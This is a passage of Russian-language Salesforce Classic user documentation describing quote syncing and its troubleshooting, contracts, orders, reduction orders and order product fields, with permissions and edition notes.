Если элемент строки скопирован из возможности, то расписание может быть просмотрено на странице сведений о
возможности. Чтобы изменить расписание, измените запись продукта.

• При наличии элемента строки сметы со скидкой поле «Скидка» изменить нельзя, если соответствующая запись
продукта использует стандартное расписание или запись продукта возможности использует отдельное расписание.

Рекомендации по созданию PDF-смет

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже приведены моменты, которые следует учитывать при создании PDF-смет.

• PDF-сметы не поддерживают языки с письмом справа налево. Текст выравнивается
по левой стороне страницы.

• Текстовые поля, отображаемые в связанном списке PDF-сметы, усекаются до
256 символов. Данное ограничение распространяется на поля типа «Область
обогащенного текста», текстовые поля других типов, стандартные и настраиваемые
поля.

• АдминистраторорганизацииSalesforceопределяетстатус, назначаемыйновымсметам
по умолчанию, а также статусы, позволяющие отправку PDF-сметы по электронной
почте. Например, администратор может запретить отправку по электронной почте
сметы со статусом «В процессе рассмотрения».

Порядок синхронизации смет

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Синхронизация смет — это процесс, позволяющий связать смету с возможностью,
которая использовалась для ее создания, а также синхронизировать все обновления
между двумя записями. Возможность может иметь несколько смет, но одновременно
может быть синхронизирована только с одной сметой.

При синхронизации сметы и возможности любое дополнение или изменение списка
продуктов в одной записи инициирует дополнение или изменение списка продуктов в
другой записи. Добавление элемента строки в смету или удаление его из нее приводит
кзапускуобновлениясвязанногосписка «Продукты» синхронизированнойвозможности,
а добавление продукта в возможность или удаление его из нее приводит к запуску
обновления связанного списка «Элементы строки сметы» синхронизированной сметы.
Порядок сортировки продуктов также синхронизируется между двумя записями. Смета
и возможность синхронизируются каждый раз, кроме случаев отмены синхронизации
или удаления одной из записей.

Сметы и возможности, не содержащие продуктов, можно синхронизировать. Продукт, добавляемый в одну запись,
автоматически добавляется во вторую синхронизируемую запись.

Если возможность и смета синхронизированы, то возможность определяет синхронизированную смету в следующих
областях:
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• Поле «Синхронизированная смета» на странице сведений о возможности.

• Флажок «Синхронизация» в связанном списке «Сметы».

В результате отмены синхронизации между сметой и возможностью связь между ними нарушается, поэтому изменения
в одной записи больше не добавляются автоматически в другую запись.

СМ. ТАКЖЕ:

Синхронизация смет и возможностей

Устранение неполадок при синхронизации смет

Устранение неполадок при синхронизации смет

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При синхронизации смет могут происходить ошибки. Ниже перечислены наиболее
распространенные ошибки и инструкции по их устранению. Для получения
соответствующих полномочий обратитесь к администратору Salesforce.

Данная смета не может быть синхронизирована, так как содержит неактивные
или архивные продукты.

• Измените неактивный продукт и установите флажок в поле «Активно».

• Удалите архивный продукт (если возможность не закрыта).

Данная смета не может быть синхронизирована, так как содержит неактивный
или архивный прайс-лист.

• Измените неактивный прайс-лист и установите флажок в поле «Активно».

• Удалите архивный прайс-лист (если возможность не закрыта).

Данная смета не может быть синхронизирована, так как содержит неактивные или архивные цены по
прайс-листу.

• Измените неактивную цену по прайс-листу и установите флажок в поле «Активно».

• Удалите архивную цену по прайс-листу (если возможность не закрыта).

Данная смета не может быть синхронизирована, так как содержит неактивную валюту.
Введите строку «Управление валютами» вполе «Быстрый поиск» вменю «Настройка» ивыберитепункт «Управление
валютами».

Данная смета не может быть синхронизирована ввиду изменения как минимум одного расписания продуктов
возможности после создания сметы.

Создайте новую смету и выполните ее синхронизацию или откройте продукт, удалите и восстановите расписание.

Данная смета не может быть синхронизирована ввиду блокировки процессом утверждения бизнес-правила
другой сметы, синхронизируемой для данной возможности. Одновременно возможности могут быть
синхронизированы только с одной сметой.

Чтобы разблокировать другую смету, завершите процесс утверждения или отзовите запрос на утверждение.

Поле SyncedQuote доступно в триггере только для чтения.
Убедитесь, что организация Salesforce не использует триггер Apex для изменения поля SyncedQuote. Поле
SyncedQuote доступно только для чтения и не может быть изменено в триггере. Изменения в триггер могут быть
внесены администратором.
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Документирование контрактов для организаций

Общие сведения о контрактах
Контракт — этописьменноесоглашениедвухилиболеесторон. Многиекомпаниииспользуютконтрактыдляопределения
условий деловых отношений с другими компаниями.

Система Salesforce позволяет создавать и документировать контракты, заключенные с другими организациями. Кроме
того, система позволяет отслеживать процесс утверждения нужных контрактов, а также задавать предупреждения
бизнес-правил, поддерживающие отправку электронных уведомлений о необходимости продления контрактов.

СМ. ТАКЖЕ:

Начальная страница контрактов

Начальная страница контрактов

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Контракты»:
• «Чтение» для контрактов

Для просмотра контрактов:
• «Чтение» для контрактов

Для создания контрактов:
• «Создание» для

контрактов

И

«Чтение» для
организаций

При выборе вкладки «Контракты» отображается начальная страница контрактов.

• Чтобы просмотреть отфильтрованный список элементов, выберите нужное
представление в раскрывающемся списке «Просмотр» илищелкните ссылку
«Создать новое представление» для разработки собственных настраиваемых
представлений. Чтобы изменить или удалить любое созданное представление,
выберите еговраскрывающемсясписке «Просмотр» ищелкнитессылку «Правка».

• Чтобы просмотреть краткий список контрактов, соответствующих заданному
критерию, выберите элемент раскрывающегося списка в разделе «Недавние
контракты». Чтобы просмотреть сведения о контракте, выберите имя нужного
контракта из списка. Поле «Имя контракта» отображается в данном списке только
в том случае, если оно добавлено в макет страницы контрактов. Чтобы изменить
количество отображаемых элементов, выберите ссылку «Показать 25 элем.» или
«Показать 10 элем.». Доступные поля определяются макетом поиска «Вкладка
"Контракты"», заданным администратором, и параметрами безопасности полей,
заданными пользователем (только в версиях Enterprise Edition, Unlimited Edition,
Performance Edition и Developer Edition). Ниже перечислены критерии фильтрации,
доступные в разделе «Недавние контракты».

ОписаниеЗначение списка «Недавние контракты»

Последние 10 или 25 контрактов, созданных
пользователем; самые последние созданные контракты

Недавно созданные

отображаются в списке первыми. Данный список
содержитзаписи, закоторыенесетответственностьтолько
текущий пользователь.

Последние 10 или 25 контрактов, обновленных
пользователем; самыепоследниеобновленныеконтракты

Недавно измененные

отображаются в списке первыми. Данный список
содержитзаписи, закоторыенесетответственностьтолько
текущий пользователь.
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ОписаниеЗначение списка «Недавние контракты»

Последние 10 или 25 контрактов, просмотренных
пользователем; самые последние просмотренные

Недавно просмотренные

контракты отображаются в списке первыми. Данный
список формируется на основе недавних элементов и
содержит записи, за которые несут ответственность
текущий и другие пользователи.

• Чтобы создать контракт, нажмите кнопку «Создать» в разделе «Недавние контракты».

СМ. ТАКЖЕ:

Отображение и редактирование контрактов

Рекомендации по созданию контрактов

Просмотр списков контрактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра списков
контрактов:
• «Чтение» для контрактов

Для создания контрактов:
• «Создание» для

контрактов

И

«Чтение» для
организаций

Страница со списком контрактов содержит контракты, доступные в текущем
представлении. Чтобы просмотреть отфильтрованный список элементов, выберите
нужное представление в раскрывающемся списке «Просмотр» илищелкните ссылку
«Создать новое представление» для разработки собственных настраиваемых
представлений.Чтобыизменитьилиудалитьлюбоесозданноепредставление, выберите
его в раскрывающемся списке «Просмотр» ищелкните ссылку «Правка».

• Чтобы просмотреть сведения о контракте, щелкните номер нужного контракта.
Чтобы изменить или удалить контракт, щелкните ссылку «Правка» или «Удал.».

• Если включена поддержка Chatter, щелкните значок или , чтобы начать или
отменить отслеживание контракта в ленте Chatter.

• Чтобы создать контракт, нажмите кнопку «Создать контракт» или выберите пункт
«Контракт» в раскрывающемся списке «Создать...» на боковой панели.
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Отображение и редактирование контрактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра контрактов:
• «Чтение» для контрактов

Для изменения контрактов:
• «Редактирование» для

контрактов

И

«Чтение» для
организаций

Для изменения
активированныхконтрактов:
• «Активация контрактов»

Отображение контрактов
Чтобы просмотреть подробные сведения о контракте, щелкните номер нужного
контракта на начальной странице соответствующей вкладки или на страницах со
списками. Илищелкнитеномернужногоконтракта в связанномспискеорганизации
«Контракты». Связанный список «Контракты» содержит все контракты, связанные с
данной организацией. Если в организации включена поддержка всплывающих
сведений, наведите указательмышиналюбоеполепоиска страницысведений, чтобы
просмотреть ключевую информацию о записи до открытия соответствующей
страницы сведений.

Просмотр обновлений и комментариев для контрактов (Chatter)
Лента Chatter позволяет просматривать обновления, комментарии и сообщения для
контрактов.

Редактирование контрактов
Чтобы обновить контракт, нажмите кнопку «Правка» и обновите нужные поля. По
завершении нажмите кнопку «Сохранить». Чтобы сохранить текущий контракт и
добавить новый, нажмите кнопку «Сохранить и создать». Редактирование
неактивированных контрактов доступно только при наличии полномочия
«Редактирование» дляконтрактов. Чтобыизменитьзначенияполейпрямонастранице
сведений, воспользуйтесьфункциейвстроенногоредактирования. Чтобывключить
функцию встроенного редактирования, обратитесь к администратору.

Связанные списки контрактов
В нижней части страницы сведений отображаются связанные списки контракта.
Доступные связанные списки определяются персональными настройками
пользователя и параметрами макетов страниц или полномочиями на просмотр
связанных данных. Чтобы просмотреть дополнительные сведения об отдельном
элементе, щелкните имя нужного элемента. Чтобы просмотреть дополнительные
элементы, щелкните ссылку «больше» внизу страницы или «Подробнее» под
связанным списком. Чтобы добавить новые элементы, нажмите кнопку «Создать».

Печать контрактов
Чтобы открыть печатную версию сведений о записи, щелкните ссылку «Версия для печати», расположенную в
верхнем правом углу страницы.

Чтобыоткрытьпоследнююпросмотреннуюстраницу со списком, щелкните ссылку «Назадксписку», расположенную
в верхней части страницы сведений о контракте. Если в организации включена поддержка свертываемых разделов,
щелкнитезначокстрелкинапротивнужногозаголовка, чтобыразвернутьилисвернутьсоответствующийразделстраницы
сведений.
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Рекомендации по созданию контрактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра контрактов:
• «Чтение» для контрактов

Для создания контрактов:
• «Создание» для

контрактов

И

«Чтение» для
организаций

Принеобходимостивведитедругиедополнительныесведения, позволяющиеповысить
качество данных.

• Дата начала

• Срок действия контракта

• Дата окончания

Прим.: Система Salesforce позволяет автоматически вычислять значение поля
«Дата окончания контракта» на основе значений, указанных в полях «Дата
начала контракта» и «Срок контракта». В этом случае поле «Дата окончания
контракта» отсутствует на странице редактирования сведений о контракте.

Если в организации включена поддержка подразделений, то подразделению нового
контракта автоматически назначается подразделение связанной организации.

СМ. ТАКЖЕ:

Начальная страница контрактов

Журнал контракта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Контракты доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Связанный список «Журнал контракта» на странице сведений о контракте отслеживает
изменения, внесенныевданныйконтракт. Поумолчаниюсвязанныйсписокотслеживает
изменения для контрактов со статусом «В процессе утверждения» или
«Активировано». Дополнительную информацию об отслеживании изменений для
контрактов с любым статусом см. в разделе «Настройка параметров контрактов» на
странице 2164.

При каждом изменении отслеживаемого стандартного или настраиваемого поля
контракта в связанныйсписок «Журналконтракта» добавляетсяновая запись. Все записи
журнала содержатинформациюодате, времени, характереи автореизменений. Журнал
контракта не фиксирует изменения, вносимые в связанные списки контракта.

Чтобы создать отчет по активированным контрактам, поля которых отслеживаются,
нажмите кнопку «Создатьотчет...»на вкладке «Отчеты», выберите типотчета «Отчеты
по контрактам», а затем выберите отчет «Журнал контракта».
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Активация контрактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для активации контрактов:
• «Активация контрактов»

И

«Чтение» и
«Редактирование» для
контрактов

Приактивацииконтрактаустанавливаетсястатус «Активировано»; самконтрактдоступен
только для чтения. Активированные контракты не могут быть изменены. Удаление
активированного контракта доступно только при наличии полномочия «Удаление
активированных контрактов».

Чтобы активировать контракт, выполните указанные ниже действия.

1. Откройте нужный контракт.

2. Нажмитекнопку«Активировать». Активированномуконтрактуприсваиваетсястатус
«Активировано».

СМ. ТАКЖЕ:

Отображение и редактирование контрактов

Общие сведения о контрактах
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Управление и отслеживание заказов клиентов

Общие сведения о заказах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Заказы»:
• «Чтение» для заказов

Для просмотра заказов:
• «Чтение» для заказов

Заказы позволяют отслеживать запросы клиентов на продукты или услуги.

Заказ — это соглашение между компанией и клиентом на предоставление услуг или
доставку продуктов согласно указанному количеству, цене и дате. В зависимости от
текущихтребованийкомпании, заказымогутдобавляться в записиконтрактовилипрямо
в записи организаций.

Пример: Например, компания, являющаясяпоставщикомуслугИнтернета, может
предлагать клиентам договор на год обслуживания. В этом случае каждому заказу
должны соответствовать контракты. Другая компания, являющаяся поставщиком
предметов одежды, может продавать продукты разовыми партиями. В этом случае
каждый заказ должен быть связан с организацией напрямую.

СМ. ТАКЖЕ:

Рекомендации по созданию заказов

Обновление заказов

Поля заказов

Журнал заказа

Общие сведения о сокращенных заказах

Поиск заказов в организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра списков
заказов:
• «Чтение» для заказов

Чтобынайтинужныйзаказ, рекомендуемсоздатьнастраиваемоесписковоепредставление
или воспользоваться предопределенным списковым представлением.

Чтобы отфильтровать просматриваемые заказы, выберите нужное предопределенное
списковое представление из раскрывающегося списка «Просмотр» на вкладке «Заказы».
Чтобы создать настраиваемый список, щелкните ссылку «Создать новое
представление».

Чтобы просмотреть дополнительные сведения, щелкните нужный заказ после
фильтрации заказов.

СМ. ТАКЖЕ:

Создание настраиваемых списковых представлений в Salesforce Classic

Общие сведения о заказах

Ограничения по редактированию и удалению заказов и сокращенных заказов
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Рекомендации по созданию заказов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания заказа на
вкладке «Заказы»:
• «Создание» для заказов

Для создания заказа для
контракта:
• «Создание» для заказов

И «Чтение» для
контрактов

Для создания заказа для
организации:
• «Создание» для заказов

И «Чтение» для
организаций

В зависимости от параметров, заданных администратором, каждый заказ должен быть
связан с организацией или контрактом.

Заказ может быть создан прямо на странице сведений об организации или контракте
посредством связанного списка «Заказы» и автоматически связан с данной записью.
Кроме того, заказможетбыть созданна вкладке «Заказы», а связанная записьорганизации
или контракта может быть добавлена вручную.

Чтобы создать заказ на основе другого заказа, воспользуйтесь клонированием. Если
исходныйзаказ содержитпродукты, то валютаипрайс-листнового заказа немогут быть
изменены.

СМ. ТАКЖЕ:

Создание записей

Обновление заказов

Добавление продуктов в заказ

Общие сведения о заказах
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Поля заказов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Заказы доступны в версиях:
Professional Edition,
Enterprise Edition,
Unlimited Edition,
Performance Edition и
Developer Edition.

Сокращенные заказы
доступны в версиях:
Enterprise Edition,
Unlimited Edition,
Performance Edition и
Developer Edition.

Данный раздел описывает поля заказов и сокращенных заказов.

Нижеперечисленыполя, доступные в заказах и сокращенных заказах. В зависимости от
используемого макета страницы и параметров безопасности полей, некоторые поля
могут быть скрыты или недоступны для редактирования.

ОписаниеПоле

Имя организации, связанной с заказом.
(Только для чтения в сокращенных
заказах.)

Имя организации

Уникальный номер, назначаемый
автоматически организации, связанной с
заказом. (Только для чтения в
сокращенных заказах.)

Номер организации

Имяпользователя, активировавшегозаказ.
(Только для чтения)

Активировано

Дата активации заказа.Дата активации

Часть адреса для выставления счета:
название города. Данное поле может
содержать не более 40 символов.

Город для счета

Часть адреса для выставления счета:
название страны. Значение выбираетсяиз

Страна для счета

раскрывающегося списка стандартных
значений или вводится как текст. Поле,
являющееся текстовым, может содержать
не более 80 символов.

Часть адреса для выставления счета:
название области илиштата. Значение

Область/штат для счета

выбирается из раскрывающегося списка
стандартных значений или вводится как
текст. Поле, являющеесятекстовым, может
содержать не более 80 символов.

Часть адреса для выставления счета:
название улицы. Данное поле может
содержать не более 255 символов.

Улица для счета

Часть адреса для выставления счета:
почтовый индекс. Данное поле может
содержать не более 20 символов.

Почтовый индекс для счета

Контакт для выставления счета по заказу.Контакт для счета

Пользователь организации,
авторизовавший заказ.

Авторизовано компанией
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ОписаниеПоле

Дата авторизации заказа.Дата авторизации компанией

Последний день действия контракта. (Только для чтения)Дата окончания контракта

Заголовок, отличающийродительскийконтрактотдругих
контрактов. (Только для чтения)

Имя контракта

Уникальныйномер, назначаемыйконтрактуавтоматически.
Нумерация контрактов начинается со значения «100».
(Только для чтения в сокращенных заказах.)

Номер контракта

Пользователь, создавший запись заказа. (Только для
чтения)

Создано

Стандартная валюта для всех полей валюты в заказе.
(Только для чтения в сокращенных заказах.)

Валюта

Контакт организации, авторизовавший заказ.Авторизовано клиентом

Дата авторизации заказа контактом.Дата авторизации клиентом

Описание заказа.Описание

Пользователь, изменивший запись заказа последним.Последнее изменение сделано

Возможность, связанная с заказом.Возможность

Общая сумма заказа.Стоимость заказа

Дата окончания заказа.Дата окончания заказа

Заголовок, отличающий данный заказ от других заказов.Имя заказа

Уникальный номер, назначаемый заказу автоматически.
Нумерация заказов начинается со значения «100». (Только
для чтения)

Номер заказа

Тип записи, назначенный данному заказу.Тип записи заказа

Регистрационный номер, назначенный данному заказу.Регистрационный номер заказа

Дата начала срока действия заказа.Дата начала заказа

Типзаказа. Записьвыбираетсяизраскрывающегосясписка
доступныхзначений, заданныхадминистратором. Каждое

Тип заказа

значение раскрывающегося списка может содержать не
более 40 символов.

Толькодлясокращенныхзаказов. Данноеполезаполняется
кодом родительского заказа при создании сокращенного
заказа посредством кнопки «Сократить заказ».

Исходный заказ

Ответственный за заказ. Ответственность может быть
назначена пользователю или очереди. Независимо от

Ответственный
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ОписаниеПоле

доступак соответствующиморганизациям, ответственным
предоставляется полный доступ к заказам.

Дата ввода заказа.Дата заказа

Номер заказа.Номер заказа

Смета, связанная с заказом.Смета

Данныйфлажок назначает заказу статус сокращенного.
Данныйфлажок устанавливается автоматически при

Сокращенный заказ

создании сокращенного заказа посредством кнопки
«Сократить заказ». Только для чтения.

Частьосновногопочтовогоадресаилиадресадлядоставки:
название города. Данное поле может содержать не более
40 символов.

Город отправки

Частьосновногопочтовогоадресаилиадресадлядоставки:
название страны. Значение выбирается из

Страна отправки

раскрывающегося списка стандартных значений или
вводится как текст. Поле, являющееся текстовым, может
содержать не более 80 символов.

Частьосновногопочтовогоадресаилиадресадлядоставки:
название области илиштата. Значение выбирается из

Область/штат доставки

раскрывающегося списка стандартных значений или
вводится как текст. Поле, являющееся текстовым, может
содержать не более 80 символов.

Частьосновногопочтовогоадресаорганизацииилиадреса
для доставки: название улицы. Данное поле может
содержать не более 255 символов.

Улица отправки

Частьосновногопочтовогоадресаилиадресадлядоставки:
почтовый индекс. Данное поле может содержать не более
20 символов.

Почтовый индекс доставки

Контакт для доставки заказа.Контакт для доставки

Данное поле определяет этап бизнес-процесса,
назначенный заказу.

Организация может дополнять данный раскрывающийся
списокзначениями, предусмотреннымидвумясистемными

Статус

категориямистатуса заказа: «Черновик» и «Активировано».
Данныекатегориистатусапозволяютотслеживатьтекущие
заказы посредством отчетов и списковых представлений.
Одни полномочия пользователя применяются только к
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ОписаниеПоле

статусамкатегории «Черновик», тогда как другие — только
к статусам категории «Активировано».

СМ. ТАКЖЕ:

Общие сведения о заказах

Общие сведения о сокращенных заказах

Обновление заказов

Поля продуктов заказа

Обновление заказов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При необходимости созданный заказ может быть изменен путем обновления статуса,
добавления или редактирования продуктов и создания сокращенного заказа.

• Редактирование заказа для обновления сведений.

• Добавление и редактирование продуктов заказа для определения запрошенных
продуктов или услуг.

• Активация заказов.

• Деактивация заказов.

• Сокращение активированного заказа.

СМ. ТАКЖЕ:

Общие сведения о заказах
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Ограничения по редактированию и удалению заказов и сокращенных
заказов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Заказы доступны в версиях:
Professional Edition,
Enterprise Edition,
Unlimited Edition,
Performance Edition и
Developer Edition.

Сокращенные заказы
доступны в версиях:
Enterprise Edition,
Unlimited Edition,
Performance Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования заказа
или сокращенного заказа:
• «Редактирование» для

заказов

Для редактирования
активированного или
сокращенного заказа:
• «Редактирование

активированных
заказов»

Для удаления заказа или
сокращенного заказа:
• «Удаление» для заказов

Некоторые поля недоступны для редактирования после создания заказа. Другие поля
недоступны для редактирования после сокращения заказа.

• Категория статуса заказа или сокращенного заказа не может быть изменена со
значения «Черновик» на значение «Активировано» или наоборот. Поле статуса
обновляется на основе других процессов.

Например, нажатие кнопки «Активировать» инициирует изменение категории
статуса «Черновик» на «Активировано». В зависимости от параметров, заданных
администратором, метки статусов могут различаться.

• Ниже перечислены условия, при выполнении которых может быть изменено поле
«Организация» созданного заказа.

– Заказу назначается статус «Черновик».

– Контракт, связанный с заказом, также связывается с новой организацией.

• Ниже перечислены условия, при выполнении которых может быть изменено поле
«Контракт» созданного заказа.

– Заказу назначается статус «Черновик».

– Организация, связанная с заказом, соответствуеторганизации, связаннойсновым
контрактом.

– Валюта, связаннаяс заказом, соответствуетвалюте, связаннойсновымконтрактом.

– Прайс-лист, связанный с заказом, также связывается с новым контрактом.

• Назначение прайс-листа не может быть изменено или удалено после назначения
прайс-листа заказу.

• Дата окончания заказа, связанного с сокращеннымзаказом, неможет бытьизменена.

• Преждечемудалить активированныйилисокращенныйзаказ, рекомендуемсначала
его деактивировать. Прежде чем деактивировать заказ, рекомендуем сначала
деактивировать и удалить любые связанные сокращенные заказы.

• Удаление связанныхзаказов доступнотолькоответственнымза заказы, организации
или контракты и системным администраторам.

Прим.: Удаление контракта инициирует удаление всех связанных заказов,
примечаний, вложений, событий, задач, журналов и запросов на утверждение.
Удаление контракта не инициирует удаление связанных организаций. Удаленный
контракт перемещается в корзину. Восстановление контракта инициирует
восстановление всех связанных элементов.

СМ. ТАКЖЕ:

Рекомендации по созданию заказов

Обновление заказов

Общие сведения о заказах
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Ограничения по активации заказов и сокращенных заказов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Заказы доступны в версиях:
Professional Edition,
Enterprise Edition,
Unlimited Edition,
Performance Edition и
Developer Edition.

Сокращенные заказы
доступны в версиях:
Enterprise Edition,
Unlimited Edition,
Performance Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для активации заказов:
• «Активация заказов»

Ограничения по активации обеспечивают целостность данных заказа.

• Заказ может быть активирован только после добавления продуктов.

• Сокращенный заказ, уменьшающий количество продуктов до отрицательного
значения, не может быть активирован.

• Активациязаказаилисокращенногозаказапрепятствуетдобавлениюилиудалению
продуктов заказа, но поддерживает их редактирование.

СМ. ТАКЖЕ:

Обновление заказов

Общие сведения о заказах

Общие сведения о сокращенных заказах

Ограничения по деактивации заказов
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Ограничения по деактивации заказов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Заказы доступны в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сокращенные заказы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для деактивации заказов и
сокращенных заказов:
• «Редактирование

активированных
заказов»

Прежде чем деактивировать заказы, содержащие сокращенные заказы, рекомендуем
сначала деактивировать и удалить любые сокращенные заказы.

СМ. ТАКЖЕ:

Обновление заказов

Общие сведения о заказах

Общие сведения о сокращенных заказах

Журнал заказа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Unlimited Edition,
Performance Edition и
Developer Edition.

Связанныйсписок «Журналзаказа» настраницесведенийозаказепозволяетотслеживать
изменения заказа (например, изменения статуса).

При каждом изменении стандартного или настраиваемого поля в связанный список
«Журнал заказа» добавляется новая запись, независимо от статуса заказа. Все записи
журнала содержатинформациюодате, времени, характереи автореизменений. Журнал
заказа не фиксирует изменения, вносимые в связанные списки заказа.

СМ. ТАКЖЕ:

Обновление заказов

Общие сведения о заказах

Общие сведения о сокращенных заказах
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Общие сведения о продуктах заказа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Продукт заказа — это продукт или услуга, предоставляемая клиенту согласно связанному
заказу.

Все продукты, перечисленные в заказе, связываются с прайс-листом. Прайс-лист,
связанный с заказом, отображается в связанном списке «Продукты заказа» в круглых
скобках. Например, связанный список «Продукты заказа (Государство)» соответствует
продуктам заказа, связанным с прайс-листом «Государство».

Продуктсокращенного заказа — этопродуктилиуслуга, подлежащая возврату, сокращению,
удалениюилиотключениюсогласносвязанномусокращенномузаказу. Каждыйпродукт
сокращенного заказа связан с продуктом заказа напрямую.

СМ. ТАКЖЕ:

Добавление продуктов в заказ

Добавление продуктов в сокращенный заказ

Ограничения по редактированию и удалению продуктов заказа

Общие сведения о заказах

Общие сведения о сокращенных заказах

Поля продуктов заказа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Unlimited Edition,
Performance Edition и
Developer Edition.

Данный раздел описывает поля продуктов заказа и продуктов сокращенного заказа.

Нижеперечисленыполя, доступныевпродуктах заказаипродуктахсокращенногозаказа.
В зависимости от используемого макета страницы и параметров безопасности полей,
некоторые поля могут быть скрыты или недоступны для редактирования.

ОписаниеПоле

Количество единиц, доступное для
сокращения. Активация сокращенного
заказа инициирует обновление поля
продукта заказа «Доступное количество»
для отображения количества
соответствующих продуктов
сокращенного заказа.

Значениедолжнобытьвсегдабольшеили
равно «0». (Только для чтения)

Доступное количество

Пользователь, создавшийзаписьпродукта
заказа. (Только для чтения)

Создано

Дата окончания продукта заказа.Дата окончания

Пользователь, изменившийзапись заказа
последним.

Последнее изменение сделано

Описаниеданнойзаписипродукта заказа.Краткое описание
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ОписаниеПоле

Стандартная цена, установленная прайс-листом для
родительского заказа. (Только для чтения)

Цена по прайс-листу

Родительский заказ для данного продукта заказа.Порядок

Автоматическисоздаваемыйномерзаписипродукта заказа.
(Только для чтения)

Номер продукта заказа

Номер сокращаемого продукта заказа. Данное поле
является обязательным, если продукт заказа сокращает
другой продукт заказа. (Только для чтения)

Продукт исходного заказа

Имя продукта, используемое в данной записи продукта
заказа. (Только для чтения)

Продукт

Внутренний код или номер продукта, используемый для
идентификации. (Только для чтения)

Код продукта

Количество единиц продукта.Количество

Элементстрокисметы, связанныйспродуктомзаказа. Смета
элемента строки сметы должна соответствовать смете,
связанной с родительским заказом продукта заказа.

Элемент строки сметы

Дата начала продукта заказа.Дата начала

Количество продуктов заказа, умноженное на цену
единицы продукции.

Итого к оплате

Цена единицы продукции для продукта заказа.Цена единицы продукции

СМ. ТАКЖЕ:

Общие сведения о продуктах заказа

Поля заказов
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Добавление продуктов в заказ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Unlimited Edition,
Performance Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления продуктов
в заказ:
• «Редактирование» для

заказов

Добавление продуктов в заказы позволяет отслеживать позиции, приобретаемые
клиентами.

Продукты могут быть добавлены в черновые заказы.

1. Откройте нужный заказ.

2. Нажмите кнопку «Добавить продукты» в связанном списке «Продукты заказа».

3. При отсутствии прайс-листа, связанного с данным заказом, выберите нужный
прайс-лист и нажмите кнопку «Сохранить».

Прим.: Заказ может быть связан только с одним прайс-листом.

4. Выберите нужные продукты и нажмите кнопку «Выбрать».

5. Введите количество для каждого продукта заказа.

6. При необходимости измените цену единицы продукции.

7. При необходимости добавьте краткие описания.

8. Чтобы выбрать дополнительные продукты, нажмите кнопку «Сохранить и
продолжить».

9. Чтобы добавить выбранные продукты, нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Ограничения по редактированию и удалению заказов и сокращенных заказов

Ограничения по активации заказов и сокращенных заказов

Общие сведения о продуктах заказа

Общие сведения о заказах

1635

Добавление продуктов в заказПродажи клиентам



Ограничения по редактированию и удалению продуктов заказа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Заказы доступны в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сокращенные заказы
доступны в версиях:
Enterprise Edition,
Unlimited Edition,
Performance Edition и
Developer Edition.

